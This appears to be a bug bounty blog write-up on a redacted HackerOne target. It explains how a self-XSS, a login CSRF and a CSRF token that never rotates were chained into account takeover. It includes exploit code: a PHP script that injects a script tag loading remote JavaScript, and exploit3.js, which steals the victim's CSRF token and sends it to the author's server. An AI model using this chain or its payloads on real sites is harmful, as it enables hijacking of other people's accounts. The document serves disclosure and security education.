XSS & CSRF to Full Account TakeOver Chain

Date published: 23-Nov-2019
3 min read / 672 words


TL;DR: I was able to combine three bugs, self-XSS, bad CSRF policy, and weak login function to make an account takeover exploit. By CSRFing the login and triggering the XSS which causes a hijack to CSRF token that can be used to change the email on his own account.

It’s been a while since I tweeted or posted anything about my findings, so I decided to write about my recent account takeover bug I found.

The story began when I was hunting on a program hosted on HackerOne, which I call REDACTED (due to privacy purposes). While hunting, I always try to note down everything I find interesting in the application’s behavior, and one of the most interesting ones I found in this application is that the CSRF token is never changed on the same device until killed with clearing cookies, and the session is HTTP-ONLY

After some while, I was able to find a self-XSS when changing the email if I set my email to something like xss+<script>alert()</script>@xhzeem.me.

It’s getting exciting now, but we still need to find two things…

  1. How can we use this XSS to attack someone else?
  2. What can we do after making the exploit? (To what extent can it be dangerous?)

Let’s now examine the two questions, and find an adequate answer for each… While it’s on the email change feature, we first must think about changing the email for others through CSRF or IDOR… and unfortunately, none of these worked.

Let’s now move to the next way… CSRFing the login and trigger the exploit in my account, but… there was a problem here… The website login system was a bit unusual; there was no password for logging in, the login methodology was only using the email which you need to give your email each time you log in, and a one-time login URL will be sent to your email that you can now use to login…

Hmm… Let’s try something…

  1. I change my email to the payload.
  2. Send a login request.
  3. Get the login URL and make the victim login to my account.
  4. The XSS will trigger.

Again some problems occurred here… The email change requires you to confirm the email before you can use it to log in and confirming and email in the format xss+<xss>@xhzeem.me. was not possible because the confirmation email will never be sent.

After some while of examining the functionality, I found that If I had two sessions and I changed my email on one, the XSS will trigger on both sessions… Yes! Did you get it ;) ?

  1. I send two login requests for my account under the email [email protected]
  2. I make a small script that will inform me once he is logged in and will trigger another script on my server to change the email on my session.
  3. Now he is in my account, and the XSS is triggered… mission 1 is accomplished 💪

Now, while we made an exploit to inject our Js code but we need to find something interesting to do with this XSS…

I started to read my old notes, and the one I mentioned earlier attracted me “The CSRF token is never changed on the same device until killed with clearing cookies.” So I started making the full exploit :)

  1. I request 2 login sessions and open one to get its session_id and use the other to make the victim use.
  2. I create exploit1.html and upload it, which will contain:
// redirecting
window.open("https://redacted/login?auth=session2", "_SELF")
// Informing my server
function loadDoc() {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "https://xhzeem.me/exploit2.php", true)
  1. I create on my server the exploit2.php file which will change the email once the user has opened the link (Because the token will stop working if the email was changed before he is logged in).
$url = 'http://redacted.com/settings/email';
$data = array('authenticity_token' => '<MY-TOKEN>', 'user[pending_email]' => 'XSS+<script src=https://xhzeem.me/exploit3.js></script>');
$options = array(
'http' => array(
'header' => "Cookies: <MY-SESSION1-COOKIES>",
'method' => 'POST',
'content' => http_build_query($data)
$context = stream_context_create($options);
$result = file_get_contents($url, false, $context);

The previous 2 steps can be merged into one but I prefered to seprate

  1. The user will log in, and the file exploit3.js will be loaded which contains
var csrfToken = $('[name="authenticity_token"]').value,
myUrl = "https://xhzeem.me/?token=",
hijackCsrfToken = new XMLHttpRequest()
hijackCsrfToken.onreadystatechange = function() {}
hijackCsrfToken.open("GET", myUrl + csrfToken, true)
  1. I now have the CSRF of the victim… which means that once he login back to his account I can change his email with the CSRF token I hijacked

Note that even though all cookies were set to HTTP-ONLY and SECURE I was still able to combine some other bugs to make an exploit that can be used to change the user’s email and takeover his account :)

Thanks for taking the time to read my blog, and I hope you enjoyed it and learned something new.